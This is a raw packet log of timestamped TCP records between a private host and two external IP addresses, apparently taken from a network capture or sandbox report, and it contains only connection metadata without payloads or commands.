Dec 17, 2024 22:06:15.067866087 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067965031 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067981958 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068007946 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068064928 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068121910 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068142891 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068238974 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068285942 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068312883 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068389893 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068394899 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068479061 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068523884 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068528891 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068541050 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068573952 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068607092 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068658113 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068898916 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.068916082 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.068948984 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.068978071 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.069108009 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.069171906 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.072993040 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.073064089 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.073113918 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.081367970 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.081509113 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.139698982 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.139813900 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.139870882 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.143819094 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.145004034 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.145376921 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.145452023 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.145515919 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.145559072 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.153819084 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.153889894 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.153961897 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.162127018 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.162214994 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.162287951 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.170536041 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.170684099 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.170777082 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.178915024 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.178980112 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.179003000 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.179059982 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.185674906 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.185724974 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.185971975 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186031103 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186041117 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186180115 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186233044 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186261892 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186350107 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186366081 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186448097 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186470985 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186501980 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186568022 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186645985 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186680079 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186724901 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186763048 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186806917 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186844110 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186903954 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.186913013 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.186963081 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.187256098 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187299013 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187309980 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.187318087 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.187328100 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.187340975 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187350035 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187367916 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.187371016 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.187383890 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.187421083 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187424898 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.187483072 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187534094 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.187563896 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187617064 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187678099 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.187779903 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187794924 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187805891 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187834978 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187890053 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.187988043 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.187998056 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188040018 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188046932 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188075066 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188092947 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188134909 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188157082 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188199043 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188247919 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188325882 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188365936 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188395023 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188550949 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188585997 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188605070 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188622952 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188769102 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188786030 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188836098 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.188900948 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188945055 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.188992977 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189032078 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189063072 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189112902 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189152956 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189162970 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189193964 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189208984 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189225912 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189243078 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189260960 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189273119 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189337015 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189389944 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189450979 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189462900 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189510107 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189513922 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189603090 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189665079 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189781904 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189791918 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189837933 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189860106 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189870119 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189881086 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189891100 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189932108 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.189969063 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189979076 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189987898 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.189997911 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190006971 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190021038 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.190051079 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.190071106 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.190089941 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190099001 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190108061 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190140963 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.190155029 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.190253019 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190263033 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190290928 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.190305948 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.190325975 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.190332890 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.195625067 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.195730925 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.195780993 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.204005003 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.204060078 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.204119921 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.211744070 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.211870909 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.211926937 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.219090939 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.219153881 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.219206095 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.226495028 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.229008913 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.305249929 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305309057 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.305319071 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305473089 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305540085 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.305588007 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305800915 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305809975 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305864096 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.305902004 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305912971 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.305969000 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306065083 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306119919 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306169033 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306191921 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306204081 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306245089 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306274891 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306303024 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306349039 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306510925 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306545019 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306560040 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306587934 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306654930 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.306699038 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.306710005 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.306754112 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.306772947 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306783915 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306792021 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306818008 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306818962 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.306835890 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306857109 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.306962967 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307005882 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307034016 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307060003 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307090998 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307101965 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307145119 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307259083 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307267904 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307307959 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307327032 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307499886 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307523966 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307571888 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307658911 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307668924 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307712078 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307784081 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307792902 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307833910 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307849884 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.307883024 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307907104 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.307939053 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308027983 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308038950 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308074951 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308103085 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308114052 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308124065 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308162928 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308212042 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308253050 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308295012 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308330059 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308347940 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308381081 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308418989 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308463097 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308474064 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308505058 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308522940 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308590889 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308629990 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308638096 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308643103 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308672905 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308703899 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308723927 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308774948 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308789015 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308819056 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308841944 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.308903933 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308914900 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.308968067 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309004068 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309015036 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309057951 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309087038 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309247017 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309302092 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309408903 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309465885 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309468031 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309478998 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309509993 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309534073 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309554100 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309720993 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309746981 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309803963 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309832096 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309859037 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.309887886 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.309902906 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310065031 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310075998 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310125113 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310157061 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310167074 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310205936 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310220003 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310236931 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310246944 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310275078 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310287952 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310324907 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310338974 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310410023 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310452938 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310462952 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310554981 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310580969 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310630083 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310631037 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310689926 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310698986 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310726881 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310745955 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310756922 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310791016 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310834885 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310864925 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310874939 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310935974 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.310986996 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.310997963 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311027050 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311036110 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311047077 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.311132908 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311213017 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311253071 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311261892 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311383009 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311393976 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.311455011 CET	2227	49777	185.244.212.106	192.168.2.4
